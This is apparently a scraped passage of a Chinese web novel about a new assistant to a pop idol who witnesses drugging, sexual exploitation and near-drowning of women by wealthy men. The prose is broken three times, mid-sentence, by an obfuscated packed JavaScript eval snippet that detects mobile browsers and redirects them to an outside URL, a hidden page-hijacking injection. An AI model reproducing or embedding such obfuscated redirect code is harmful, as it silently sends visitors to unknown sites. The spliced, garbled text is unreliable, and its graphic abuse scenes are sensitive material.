不梦站在桌前,垂在身侧的手一攥,倾身微微鞠躬:“荣幸之至,谢谢提携。” 她忽然想起上午那间会议室里,那句轻飘飘的三十万转账。 原来安静不多嘴,在这个圈子里,也是一种可以被录用的资质。 助理这工作,算往上升了一个阶层。 更何况是顶流艺人的助理,那是助理中的顶流。 同事看她收拾东西,再听领班说她要去给白灏辰当助理,一个个围着她唏嘘不已,眼红得快要滴血。 “运气也太好了吧......” 老员工更是满心不忿,语气酸得发涩:“我都来两年了,都没捞着这个机会,她才来几天?试用期都没过呢,凭什么是她?” 待遇也从集体宿舍换到另一楼的两人居公寓,和白灝辰的另一位助理同住,是个规整的两室一厅小户型,带双卫生间和独立厨房,干净清静,不用再跟一群人挤上下铺。 不梦从人事部领了钥匙,先简单把行李安顿好,铺好床铺。 接了杯温水,在茶几旁坐下,拆开了人事下发那份,标红机密,阅完要还的,写着艺人名字的档案袋。 白灝辰的生活习惯、饮食禁忌、过往作品与荣誉、出过的专辑、唱过的歌、演过的所有角色,以及近日已排定的通告行程。 做助理的第一条规矩,必须提前把艺人的一切烂熟于心,不能出错,更不能临时抱佛脚。 白灝辰:三年前加入星曜娱乐。原VORTEX-G五人组主唱,14岁在外部出道。 彼时的VORTEX?G出道即红遍大江南北,少年烈火,入局成涡,锋芒自生,秉火而行。 风格兼具青春叛逆与极致舞台张力,唱跳利落凌厉,爆发力十足,台风野性张扬,vocal清澈且治愈。凭一身锋芒破壁出圈,是当年中小学生最追捧的男团,白灝辰是组合绝对核心。 聚光而生,自带漩涡。 该组合出道即巅峰,发行专辑《ZeroHorizon(零度地平线)》——青春的出发点,横扫各大音乐榜单,销量破千万,营收上亿。 其中主打曲《scorching(灼热)》《burn(焚)》是白灝辰吉他独唱,旋律滚烫张扬,少年独有的炽热与疯骨,歌词直抒滚烫直白的心声。一经发布瞬间便霸占街头巷尾的音响,成为青少年必下的BGM。 不梦一页页地翻,后面附着几张组合舞台的旧照。 照片上的白灝辰不过十五六岁,留着微分碎盖,抱着黑木吉他,青涩中带着桀骜,眉眼间意气风发,笑容干净。 又继续往下翻,他的舞台记录、粉丝昵称、获奖荣誉......资料厚得像一本小书,每一行、每一张照片,都在无声证明,这个人曾经站在多高的地方,有过怎样炽热耀眼的青春。 其实她在大学时听说过他,同学们常把这个组合挂在嘴边,班上好几个女生是他的粉丝。死党元小桃就是,床铺上贴着他的海报,为了去看演唱会,省出伙食费饿着肚子去买门票,蹭了不梦一个月饭卡。还借钱买高价签名照。 之前娱乐公司查底细,肯定查到过这些,所有才三令五申合同规则,不许向家人和朋友透露明星机密。 不梦手机里也存过这个专辑的几首MP3,也只是当成歌曲来听,其中就有《灼热》和《焚》。不过她常循环的是《飓风,少年》,她还记得一部分歌词: “他们教我把未来攥进手心,为每场风暴备好伞盾 教我在十五岁的年纪,就活成三十五岁的谨慎与疲惫 他们说少年的棱角是刺,莽撞的热情是反骨 于是用“安稳”作囚笼,用“成熟”当枷锁 把滚烫的心跳,熬成平静的死水 把鲜活的热忱,吹成满目虚空 这世界像一场不讲理的飓风,卷走未经世事的纯粹......” 还有一首《我要我说》,含义和飓风一样,都是是青春的控诉兼自我治愈,歌词实在太顶! 《焚》这首比较特别。通篇高音低唱,嗓音略带沙哑,破音将破不破,情绪在崩溃和疯之间游离,极致破碎张力,演唱难度极高。 学校元旦晚会上有男生上台翻唱过这首,明明调子和气口都跟得上,却拿捏不住那份收放自如的质感,力道和情绪差之毫厘,却谬以千里。整首歌韵味尽失,下场后还被同学们打趣嘲讽。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590652|205448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 不梦喝了口水,继续往下看。 十七岁特邀出演历史剧《储宫》。剧里讲述一位皇帝与他两立两废太子的悲剧故事,不聚焦帝王功业,直书天家君臣父子,一生的爱与毁。 因角色时间跨度极大,太子一角采用五段式选角,婴儿、垂髫、总角、舞象、成年依次递进。白灝辰接棒舞象段,从十五岁峥嵘初发,演到二十岁意念崩塌、性情异化,从云端到沼泽,成为五段中人气最高者。一举拿下业界好评,并拿下最佳新人奖,也由此正式转战影视。 一年前组合暂时解散,个人单飞。 档案最下方是一大段他的演技风格概述和多位老戏骨的评价,全都是在夸这孩子如何天赋异禀。 她在“饮食禁忌”“生活习惯”的条目上停顿,打开本子做笔记。 正记着,微信电话打来,是Simon姐。 “苏不梦,我在你楼下,立刻换身得体的衣服,跟我去一个地方,有人要见你。快点!十分钟下来。” “好!”合上本子,起身跑去换衣服。 Simon姐的车子是一辆黑色的奔驰E,载着她往西四环驰去。 不梦刚来北京,不知道被带到了哪里,也不敢问。车子驶出闹市区,周遭景致骤然换了天地。林立的高楼渐渐稀疏,马路愈发开阔。 道路两侧浓荫蔽日,连周遭的空气,都跟着沉静了下来。 转了几个岔路,拐进梧桐掩映的专用支路,路上车流瞬间锐减,几乎看不到社会车辆。沿路监控杆排布得异常密集,每隔百十米设一座岗哨亭,亭中值守人员身着规整制服,臂间配着枪械。时不时拦下车辆,核查证件,目光锐利如探照灯,从车头缓缓扫至车尾,最后落在不梦身上,带着审视的意味久久停留。 手机导航到了这片区域,忽然一片空白,只剩一条灰色路线孤零零延伸向前。 不梦无意识蜷了蜷手,才发觉指尖冰凉,虎口处的脉搏跳得又急又乱。 在这条静谧森严的路上大约行了一小时,沿途不时掠过一道道青灰高墙,黛瓦屋檐,中式门楼隐在参天古木之间,透着与世隔绝的肃穆。 驶过可升降铁桩关卡,才算真正踏入这片专属宅邸区。迎面是三米多高的深灰院墙,大门分出三道专用通道。车辆行至门前,立刻有人上来问通行证件,人脸、车牌,一一比对,又把不梦叫下车,到屋子里盘问了一番,电脑上是她的户籍资料,身份和指纹比对,家庭出身,学校人际关系,整整审了半个多小时。 待重重核验悉数通过,屏幕亮起绿灯,厚重的栏杆才缓缓抬起。 进门后,园区里仍有流动岗来回巡逻,摄像头密得数不清,连树荫下都没有死角。 越往深处走,越能感觉到这里的体面与贵气。 车子最终停在一扇堡垒般厚重的宅门前,门侧嵌着一方小巧青石匾额,形制简约古朴。门前安保再次核验身份,厚重的大门无声向内敞开。 一进院内,便是典型的中式庭院。 一位穿着素色棉麻佣人服的阿姨将她们迎上二楼,说夫人在梳妆室。踏上铺着软垫的木质楼梯,一步一阶,脚步放得极轻,到一扇雕花木门前,指头轻叩两下,示意她们进去。 推开门,屋内陈设简约雅致,梳妆台上摆着各式精致的首饰。 一位女士正阖目坐在梳妆椅上,由化妆师打理着长发。她穿着一身月白色真丝家居裙,通身的温婉与贵气,肌肤白皙细腻。 只是坐着,也难掩优雅气度。 Simon姐上前半步,轻唤一声:“曼姐,人带来了。” 美妇睁开眼,从镜中望着来人,上下打量一番,唇角微扬却不笑,只有一丝极淡的弧。 不梦望着那个侧颜,忽然反应过来,小时候在电视机里见过! 这、这不是某台那个声音高亢甜美的歌唱家吗?拿着话筒,穿着制服,唱着激励豪迈的歌,每年春晚必不可少她的身影。这许多年过去,她怎么还这样年轻?仿佛岁月留下的不是痕迹,是沉淀的风韵。 礼貌地鞠了鞠:“夫人好。” 7. 七 爱情分式 七 美妇终于开口,声调慵懒:“倒有些漂亮。” Simon姐走过去,伸手按揉鬓穴,语气熟稔又恭敬:“姐放心罢,灝辰什么眼光,跟他交往的哪个不是大美女。不过一个农村土妞而已。” 美妇哼了一声:“说到这个我就气!我家辰辰这两年大了,那些傍家女,一个个饿狼似的生扑!” Simon姐附和着,手上的力道拿捏的恰当:“没法子啊,谁让辰辰长得帅呢,基因好,随母。” 美妇听得一笑。 “有我在,姐放心,辰辰吃不了亏。” 美妇笑了一声,带着几分看透世事的轻慢:“不玩白不玩,掌握好分寸就行。别让她们有机会借着炒作,坏了辰辰的观众缘。” “是。” “带她走。” “那就这么定了?明天上岗?” 美妇不再多言,随手拿起桌上的牛皮档案袋,递给Simon:“去吧。” 走出白邸,车子驰行在回程的路上,不梦坐副驾驶。天色渐墨,华灯初现,首都的夜景印在车窗上,溢彩流光。Simon姐透过后视镜看了一眼不梦的神情,感慨道:“你还真是话少啊。” 不梦记忆好,见不是回公寓的路,问:“姐,是还要去别的地方吗?” Simon姐点头:“灝辰在附近的会所,正好见见,省的明天他认生。接下来一个月让Sunny带你,你跟着Sunny学,该做什么,不该做什么,她都会告诉你。等熟悉了再排班轮休。对了,灝辰主修外语,团队里都用英文名字,他的偶像是莱昂纳多,平常要喊他‘Jack’,不能乱叫,他会生气。对了,你的英文名是什么?” 不梦随意想了想:“Jane” 那是她翻烂了的一本小说,《简.爱》女主角的名字。 推开厚重的包厢门,烟酒混合着昂贵香水的味道扑面而来。 刺得人鼻腔发痒。 一屋子男男女女围坐在一起,桌上乱糟糟的杯盏,笑骂调情,指尖烟蒂的火星,交织成一片张扬又糜烂的画面。 白灝辰就坐在左侧的真皮沙发上,长腿交叉,一身散漫矜傲之气。 左右各倚着一个美人。 与照片中那个笑容干净的碎盖少年已不同。浅棕色的头发,发型是日系狼尾微卷,后颈的碎发垂到衣领,额前刘海半遮眼,大而上挑的丹凤眼,带着几分颓唐的魅惑。 房间的灯光压得很低,暖黄的光裹着一层雾,似浸在半凉的酒里,把每个人的轮廓都泡得模糊。 Simon走过去耳语一番,指了指门口的不梦。 他的目光淡淡飘过来。 像只隐在暗光里的狐,戏谑的语气:“不会又是个逼逼叨叨、没完没了的吧?” Simon拍他的肩:“放心。” 不梦没有靠近,安静地立到墙角。目光扫过每一个人。 指尖明明灭灭的星火,酒杯里冒泡的药片。 有个茜色裙子的女孩被两个男人按着灌酒,嘴里放着漏斗,呛的快断气,旁边的人说:“再加料,不够刺激。” 另一人将烈度白酒、威士忌、干红混了一扎,投入三粒黄色的东西,继续大灌特灌,女孩连挣扎的力气都无。 “救......” 一屋子人笑。 闹够了,女孩口鼻喷流如注,跌跌撞撞起身到卫生间倾吐。 不梦默默站着,胃里一阵翻涌。她下意识地把脸侧到一边,却听见卫生间里呕吐声未停,伴随着哗哗的水流。紧接着有人过去敲门:“出来给小爷跳钢管舞!快点!” 另一个也过去:“去去去,让你小药跳去,我家今晚还得伏侍我呢。” 那女孩吐了不知多久,开门出来,一身狼狈,却怯懦恭顺,男人把手伸进她衣领里,关心地问:“宝贝,刺不刺激?” 女孩丝毫未反抗,抽抽搭搭哭:“讨厌,太坏了,人家都吐血了。” 男人亲了女孩脸蛋一口,揽入怀,拿出手机:“给你转两万,买点补品养养。” 不梦感觉喉头有东西往上冲,房间的气压让她呼吸不过来。 沙发上另一个忽然说:“今晚这局这么没劲呢!小路子,去叫几个新宠儿来。” 应声的人坐在沙发角落,不梦这才看清角落阴影里坐着一排人,显然是听差的马仔,比个“OK”的手势,立刻拨通电话:“喂,李姐,再攒几个Snack来,要干净的啊,最好是学生。” 没一会儿更多的女孩进到房间,三五成堆,围到少爷们身边。 刚才叫马仔的那个放下酒杯,拿出一个箱子,打开是满满的红票子,又取出一堆稀奇古怪的道具,手铐电击棍都在其中,还有夹书夹子。“谁今天让小爷高兴,谁就能拿走这些。前提是,小爷让她干什么,她就得干什么,小爷要的只有刺激,刺激!” 女孩儿纷纷靠前。 接下来的场景更加不堪入目,不时地传出哀嚎和哭泣,求饶声不绝。甚至有女孩口中吐出白沫来,被马仔抬到一边喂了药片,紧急吸氧,几分钟后清醒过来,得到十万。 女孩啜泣着半蹲在地上,撩起裙摆,把一沓沓票子装进去。 不梦的指甲在指肚上留下个深印,把目光移开,落在白灝辰身上。他指端捏着高脚杯,轻轻摇晃,只随众附和笑,脸上没有太多表情。 Simon坐在后面的小沙发上,再次朝这边丢过来个眼色。 似乎是不放心,干脆起身,踩着高跟鞋走过来,低声提醒她:“别圣母,别多余,都职业的,别断了人家赚生活的路。管好你的嘴巴和眼睛,该看的不该看,出去一个字也不能多说。” 不梦颔首:“明白。” Simon满意地回到座位,不梦站在原地,努力不让自己去看去听。 忽然想起很久以前实验课上一组课题。 导师讲起《无生存压力优渥环境下实验动物行为异化研究》,点开PPT,屏幕里是国外一组实验REC,恒温箱中的实验鼠从出生起就身处最优渥的环境,恒温恒湿,清水与食粮源源不断不限量供给。 它们不必躲避天敌,无需四处奔波觅食。每只都有完美匹配的伴侣,个个养的体态肥硕皮毛光洁。本该一生无忧,却渐渐滋生出严重的刻板行为,出现相残相食的倾向。不争夺资源,不繁衍后代,只是纯粹的杀戮,把恒温箱弄得血肉模糊。 单独关在一处,就反复舔舐撕扯自身皮毛,到皮肉破脱受损流血也不停下,好像感知不到痛楚。 它虐转为自虐。 ......其实,生物的大脑是一台精密的奖励系统。 它每时每刻都在分泌多巴胺,驱使渴望、追求、行动。可当一切唾手可得,无需挣扎,不用争取,大脑的奖励回路就会脱敏钝化。 只能通过更极致的放纵来感知短暂的兴奋。 比如眼前,大量饮酒、肆意挥霍、滥用药物、羞辱凌虐他人,甚至践踏法则。 她抬眸,白灝辰的侧脸,与当年那只隔着屏幕和玻璃,呆坐在角落里啃毛撕咬垫物的小鼠,很像。 他们拥有一切,除了为普通事物感到快乐的能力。 集体性麻木,集体性亢奋,一群多巴胺阈值被永久性拉高的人类样本。 她重新把自己缩进墙角。 白灝辰不知何时又看了过来。 穿过烟雾和笑声, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590653|205448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从眼尾瞥过来,轻飘飘地落在她身上,不知在想什么。 不梦与他短暂对视,往旁边看去。 他左边是刚冒头的网红小花,不梦在公司见过,长相甜软,是公司从网红堆里签约的新人。正怯生生依偎着白灝辰的肩: “灝辰哥,你尝尝这个果盘,我特意给你切的。他们都说我拍甜妹剧合适,可我也想接点大制作,就是没人带我......” “灝辰哥,我最近试镜总被压,你能帮我说一句话吗?灝辰哥哥,好哥哥......” 右边是一位车模,穿一条性感的高开叉紧身豹纹裙,一双腿交叠着,直、长、白、匀称,光是安静搁着,就晃得人血脉贲张。她漫不经心拨了下大波浪,冷冷斜了甜妹一眼,“圈子里最不缺的就是会装乖的,真要靠上去,得拿得出能镇场的东西。” 方才面对其她女孩受辱,这两位作壁上观,全程看戏的神情。 小花靠着白灝辰的肩膀,翻了车模一个白眼,反击道:“灝辰哥,你不知道,现在圈子里可乱了,什么三教九流都想往里挤。当拍戏是车展呢,到处搔首弄姿。” “总比某些人,从网红滤镜里爬出来,精修图跟换了个头似的,一上镜原形毕露。脸是甜,可惜空得很,台词念不明白,戏接不到几个,就只会撒娇卖嗲,指望一张嘴拿资源。”车模玩着美甲,声音懒懒的。 “姐姐说话真冲,娱乐圈靠的是观众缘,不是靠露腿。” “露腿怎么了?老天爷赏的饭,总比有些人只会装纯,蹭热度,连部像样作品都拿不出来强。” “我至少是正经进组拍戏的,只是缺一个机会!不像某些人,除了身材什么都拿不出来,也就只能在酒局上晃悠晃悠,靠穿得少露得多,博眼球博出位。” “机会?”车模嗤笑一声,红唇连说话都透着性感:“机会是给有准备的人,不是给只会装可怜博同情的人。灝辰哥是什么身份?什么美人没见过?靠装乖卖惨那套,对别人有用,对灝辰哥,没用。甜妹也就哄哄小男生,要我说,能陪灝辰哥撑场面,能帮灝辰哥挡酒的,才叫真本事。” 她明显比白灝辰大了几岁,却也一口一个的哥,可见白在圈内的地位。 “你......”甜妹眼圈一红,几乎要哭出来。 白灝辰浅啜着威士忌,笑不达眼底。 周围发小搂着女伴看得起哄,有人拍腿大笑:“灝子,你今天是难逃一劫啊!两位美女3拼得了,省得在这儿争来斗去!” 哄笑四起。 凌晨一点多,局终于散了。 Simon开车把不梦送回公寓,路上忽然说:“今晚的感觉怎么样?” 不梦斟酌了一下措辞:“......开眼界。” Simon笑了一声,那笑声里没有温度:“这就开眼界了?以后长见识的事情多了去,你还没见过他真正发脾气的时候。灝辰这个人,心情不好的时候,你呼吸都是错的,连我都发怵。” 不梦点头。 Simon从后视镜里瞥她一眼:“你今晚的表现,我很满意,跟木头人似的。” 不梦道:“话少,不惹事,您看中的不就是这个吗?” Simon点点头:“行,有点意思。” 车停在公寓楼下,不梦解开安全带。正要下车,Simon忽然叫住她,再次重申: “今晚看见的,明天醒来要全部忘掉。能做到吗?我不是危言耸听,他们这些人的身份,你泄露出去,伤害的只会是你自己。” 不梦站在车门外,路灯把她的影子拉得很长。 “能。” Simon看了她两秒,点点头,升上车窗,黑色奔驰无声地驶入夜色。 8. 八 爱情分式 八 第二天一早,天刚蒙蒙破晓,和同住的Sunny一起收拾妥当,拎着提前备好的艺人随行包,出了门。 叫了滴滴,车子停在楼下。 Sunny模样中等,穿着时髦,脸上有几颗浅淡痘印,性格敦厚,非常好相处。不梦几乎是跟她一见如故。 进了娱乐公司两个月,才第一次遇上不势力的人。 昨晚聊天,比不梦大四岁,也是毕业就来北京了。一年前才当上白灝辰助理,她是跟团队里的执行经纪有私交,才被选上的。 “咱们去别墅,在昌平的温榆河区,Jack昨晚在那儿睡的。” Sunny一边拉开车门,两人坐进去,打开通告笔记。 今天要赶去朝阳片场,拍《松原高中》,他最近一直在赶这部偶像剧的进度。 车子驶离市区,半个多小时后到昌平,温榆河沿岸风景清丽,别墅区隐在湿地公园的浓荫之中。 车子沿着围墙,在一扇镂空大铁门前停下,二人提着箱包下车。因有陌生面孔保镖上前核验身份,不梦拿出工作证。 铁门无声滑开。 庭院里栽着几株矮雪松,草坪修剪得整整齐齐,主楼是简约的欧式风格,却没什么烟火气。 感应玻璃门自动展开,有穿着制服的女佣立在门边,机械地冲她们打招呼:“Goodmorning!” “早!” 刚进大厅,楼上传来的乒乒乓乓声,夹杂着女子凄厉的哭喊,清晰又刺耳。 “灝辰哥,别这样,饶了我......我不敢了!” 不梦下意识顿住,脑中警铃大作,目光抬向楼梯口。鱼肚白大理石阶蜿蜒向上,在壁灯下发着冷硬的光,一级级通往不知深浅的地方。 但Sunny却脸色一变,脚步瞬间加快,语气里带着慌乱,拉了一把不梦:“快走快走,Jack向来没轻没重,别真出了人命,咱们得赶紧上去拦着!” 两人快步冲上楼梯,二楼最东边的卧室门大开着,混乱的声响和一股混杂着酒精、香水与暧昧的气息扑面而来。 不梦跟在Sunny身后,小心踏进门,只见昨晚在会所里的那个性感车模,此刻只穿着一件单薄的黑色抹胸睡裙,裙摆堪堪遮到大腿根,头发凌乱地贴在脖颈间。 白灝辰穿着一身松垮的白色睡袍,领口大开,露出线条均匀的锁骨,他单手攥着车模的头发,力道大得几乎要将她的头皮扯下来,另一只手推着她的后背,径直往卫生间走去。 车模双脚离地,徒劳地挣扎着,哭喊声撕心裂肺,却丝毫撼动不了白灝辰的力道。 “砰”的一声,白灝辰将车模的头狠狠按进日式瓷面马桶里,指节扣死她后颈,随即按下双泵增压冲水感应键。 水流轰然旋起,混着清香的蓝色洁洗液形成强力漩涡,车模瞬间被呛得剧烈抽搐,口鼻里全是呛人的水液,只能发出破碎模糊的哭腔: “饶命......哥哥......我不敢了......” 白灝辰脸上没有任何表情,眼神空得发寒,像在摆弄一件没有生命的物件。他连按数次,水流一次比一次更急更猛,车模早已不知道灌进了多少水。 整间卫生间里,只有哗哗的冲水声,窒息的咳嗽声,和他从头到尾,一丝不乱的呼吸。 Sunny站在卫生间门外,小声劝:“Jack!别闹出人命来!住手吧!” 不梦尽量低头不看,进也不是,退也不是。 心跳快得吓人,指尖都颤了起来。 直到车模的挣扎幅度变小,白灝辰才慢悠悠地松开,到洗手池边冲手,仿佛洗去污垢。 车模瘫软在雪白的地板上,大口大口喘着气。额头一个鸡蛋大包,头发全湿,一缕缕贴在脸上、脖颈上,遍布泪痕和水渍,嘴唇发紫,面容惨白得像刚从水里爬出来的女鬼,浑身不停发抖。 白灝辰擦干净手,转身走出卫生间,到床头拿起手机,随意点了几下,屏幕的光映在他毫无波澜的脸上,对卫生间说:“拿钱,滚蛋!别再让我看见你!” 车模如蒙大赦,连滚带爬地起身,出来抓起沙发上的手包,连鞋都来不及穿,赤着脚,一边抹着眼泪,一边颤颤巍巍地跑出了卧室,连落在地上的黑花蕾丝内裤都没敢捡。 白灝辰转身往衣帽间,对两个助理吩咐道:“把这里收拾干净,别留下一点她的痕迹。” 不梦将房间扫视一遍,眉头大皱。 花纹精致的蚕白细绒地毯上,一片狼藉......床头还有翻倒的红酒瓶和断裂的高脚杯,墙角躺着一部手机,零件七零八落,屏幕碎成蛛网,电池被甩出半米远,后盖不知崩到哪儿去了。 每一处痕迹,都在诉说着极致的放纵与糜烂。 顶流助理第一天上岗,不梦已经打算辞职了。 她受不了天天这样的物理攻击眼球,早晚给她整出心理阴影来。 商务车平稳地驶离温榆河别墅区,车厢宽敞得近乎空旷,飘着不知名的男士香水的味道。 白灝辰陷在最后排的独立座椅里,衣着光鲜干净,发型帅气有型,全然恢复明星的样子。他垂眸看着手机屏幕,机身的超薄金边框反着光,修长的手指漫不经心地翻着什么,眉眼疏淡。 方才卫生间里那幕暴戾的画面,仿佛只是随手捻灭了一只无关紧要的飞虫,连一点情绪残渣都没留在脸上。 不梦坐在第二排靠窗的位置,尽量拉开与后排的距离,指尖快速按着手机键盘,搜索着招聘软件。 同学群里消息不断弹出,她低着头回复。 实在不行,就去做房地产导购,卖房提成高,就是不好熬,得慢慢发展人脉。还有卖保险,也一样,前两年基本挣不到钱,只能硬扛。 盯着屏幕上那些门槛低,却同样辛苦的岗位,脑子里闪过公司白纸黑字的入职条文: 必须做满三个月,才能正常离职,结算薪水,拿绩效。 已经做了两个月。 第一个月培训期,无薪,第二个月工资五千五。 第三个月会上调到七千多。 再换工作还得再熬试用期。 哪怕眼前这份工作像个随时会爆炸的垃圾场,她也只能咬着牙,熬!忍! 熬完最后一个月,就能一次性拿到一万二。结清工资,立刻走人,一秒都不多留。 把手机息屏,推推眼镜框,抬眼望向窗外飞速倒退的树影。 三十多天。 一万二到手,从此和这座云端别墅,和身后这个喜怒无常的顶流,一刀两断,永不相见。 拍摄地是一所废弃闲置的旧校,可自从剧组进驻,这里便日日门庭如市。 群演、媒体、粉丝,天不亮就把校门堵得水泄不通。 经纪人群里发消息说,甚至有媒体和粉丝半夜一点就在这等了。 商务车绕远路开到后校门。刚一停稳,一群举着灯牌抱着鲜花的粉丝便如蜂群般涌上来,将车团团围住,手掌拍打着车窗,尖叫此起彼伏: “白白!” “辰星辰星,挚爱一生!” 三名黑制服保镖率先下车,强行推开一道窄缝。 不梦和Sunny在车内快速对好对策,跟着下车守在车门两侧,手臂横挡出一堵人墙。即便如此,混乱中仍有不知是谁的手,不时地砸在不梦的后背。 直到外围稍稍松动,白灝辰才下车。 先是一条长腿从车门里迈出来,上身一件简约白T,却正经系着一条细窄领带,下着浅灰色垂感休闲西裤,脚踩一双干净小白鞋,清清爽爽,真的像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590654|205448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个刚下课的高中生。 他脸上挂着干净又温和的笑容,眉眼弯起,少年气十足,像全然不知方才车外发生过什么,也看不见周遭的疯狂拥挤。 阳光下,那笑容干净得发亮,挑不出半分瑕疵。 可不梦清楚,这张人畜无害的脸之下,藏着怎样冰冷麻木的骨。 人群瞬间炸开,尖叫声几乎掀翻头顶: “白白!!” “老公!老公——!” “啊啊啊好帅!!” 从车门到校门不过十几米,白灝辰被一群保镖和助理护崽般,簇拥着,艰难往前走。 媒体举着相机咔嚓咔嚓狂按快门,力图捕捉他每一个角度,每一个微表情,闪光灯连成一片刺眼的白浪。 他随便一个抬眼,一个侧脸,都是能直接屠榜热搜的程度,随手就是流量。 不梦总算见识了,什么叫顶流。 废弃的学校被剧组重新装点,群众演员找的都是年轻面孔,穿上校服在校园里奔跑,久旷教学楼重新有了人气。 不梦早对剧情做了功课,讲的是白灏辰饰演的天才学霸柏恩,和学渣捣蛋鬼小五之间,一对从互相厌憎,到不知不觉暗生情愫的欢喜冤家故事。 女主小五的扮演者,是新生流量小花唐婉丽。 懵懂涩涩的青春悸动,是一部轻喜剧,白灝辰目前对这类角色驾轻就熟。 片场地上布满机位线,工作人员正忙着调机位,校灯光,反复模拟镜头角度。白灝辰刚在图书室拍完一场独角,要换到教室上课的戏份。 演师生的特约演员候在场侧,各自理着衣装,小声对着戏。 白灝辰坐在折叠椅里,低头专注打游戏。 Sunny举着巴掌小风扇给他降温,不敢吹坏造型,一边抱着保温杯,里面装着白灝辰只喝的,从瑞士空运来的雪山水,时刻准备着递给他。 不梦立在角落,拿着笔把剧本上柏恩的台词一字一句圈画清晰,重点处标注了语气起伏的批注。一边留意着场务的指令,随时提醒白灝辰进入状态。 马上拍的是柏恩和小五的对手戏,也是两人关系破冰的关键一幕。 饰演小五的唐婉丽长相清纯娇憨,一身蓝白相间的校服,高马尾扎的利落,带着几分灵动的痞气,完全进入学渣捣蛋鬼的模样。 作为新生小花,她女主气场十足,比白灝辰迟来了几分钟。 进场悄悄绕到身后,捂住白灝辰的眼,捏着嗓子:“猜猜小爷是谁。” 白灝辰拍一下她的手腕,调侃:“是哪个混蛋小爷?” 唐婉丽拿开手,顺势伏在他肩上:“哥哥,带我一个呗。” 旁边的助理小声提醒:“唐唐,还有两句台词没背熟呢,一会儿开拍要用。” 唐婉丽转过头去,换上一副面孔,厉声道:“你能不能不像个苍蝇一样,叨逼叨不停!用你多嘴!” 助理脸色一白,连忙低下头,不敢再吭声。 不梦将这一幕看在眼里,望着那助理,又看看唐婉丽和白灝辰,转而低头继续看剧本。 正午放饭,片场喧闹起来,不梦和Sunny领了剧组盒饭,还没来得及吃。Simon在群里通知,让助理去告知制片,要加快进度,白灝辰有新的合作项目要谈,档期必须压缩。 二人随便扒拉了几口,灌下半瓶水。跑去通知制片和导演,又跑去白灝辰的房车上,剧组特请的五星大厨正弯腰布菜。 “白老师,尝尝汤,炖了三个小时,和牛、鲍鱼都是今早刚到的,按您合同要求,少油少盐不影响上镜。”大厨语气恭谨。 白灝辰拿起银匙只喝了几口汤,吃了小半碗米饭垫腹,东星斑、溏心鲍鱼、黑松露和牛,只略动了动。 他将手机拿过来,仰靠在按摩椅上,继续打游戏。 9. 九 爱情分式 九 不梦在档案中见过,艺人为上镜严格,哪怕是顶级食材,也要精准恪守着卡路里的控制,食量永远压在最底线。节食的克制,于他们而言早已是习惯。 体能全靠营养师搭配的补剂撑着。 她早上收拾房车的时候,看到一整排小瓶子,复合维生素、鱼油、氨基酸、电解质片、蛋白棒、低卡代餐粉。 这些就是精准维持身体运转的工业配方。 Sunny汇报了通告调整:“这个戏拍摄档期已经压缩到一个月半,公司对接了一部S+级仙侠,月底就要试妆,我们时间很紧。李导已经去调度了,下午加拍一场,就是大结局那场,今晚上有星空,要提前拍。” 白灝辰听完“嗯”了一声,仍翘着腿打游戏,指尖在屏幕上舞得飞快:“别送,守高地!”“没大,别开。” 不梦立刻准备口腔清新喷剂和口香糖,又把大结局柏恩的台词标出来,重点处补上语气批注。 把剧本递给白灝辰,对方头都没抬。 她小心提醒:“Jack,该背台词了,这个场景对话很多。” 白灝辰如闻空气。 不梦眉头微蹙:“这是重头戏,是柏恩和小五整部剧的戏眼,导演一会儿要对词的。” 白灝辰继续指尖飞动、猛戳:““技能往哪甩呢?看不见我被围了?” “清兵啊!站着看戏?” “靠!这都能空大?” “回家挂机吧。” 不梦心里明白,助理的活儿本就这么分。 最难啃的自然会落到她这个新人头上。 把剧本盯牢,把台词催到,就是摊在她身上的活儿,圈子里默认的规矩。 她捧着剧本,耐着性子,用几乎请求的语气:“白老师,麻烦背一下台词,这场戏真的很重要!” 见他根本听不懂人话,干脆不再强求。和Sunny对个眼色,一起站到房车门边。 夜色一沉,片场立刻转到旧校草坪。 今晚的夜空格外干净,无云,墨蓝天幕像被仔细擦过,星星密而亮,不用后期,就是实拍的好星空。 现场架起了补光灯,道具组的泡泡机藏在树后,鼓风机对着草丛慢慢送风。 这场戏拍的是高考后,柏恩被清北录取。小五在他一学期恶补后,也考上了心仪的二本。毕业典礼刚散,两人从教学楼走出来,在草坪上剖白心意,互诉未来,献上初吻。 导演带着白灝辰和唐婉丽上前走戏,刚开口对词,白灝辰就卡得断断续续,几句关键告白都说不顺。 导演脸色当场沉下来,却不敢冲顶流发作,只赔着笑:“白老师是累了,先歇几分钟。” 他让副导演带两位主演去场外顺戏,找情绪,这边先拍空镜。 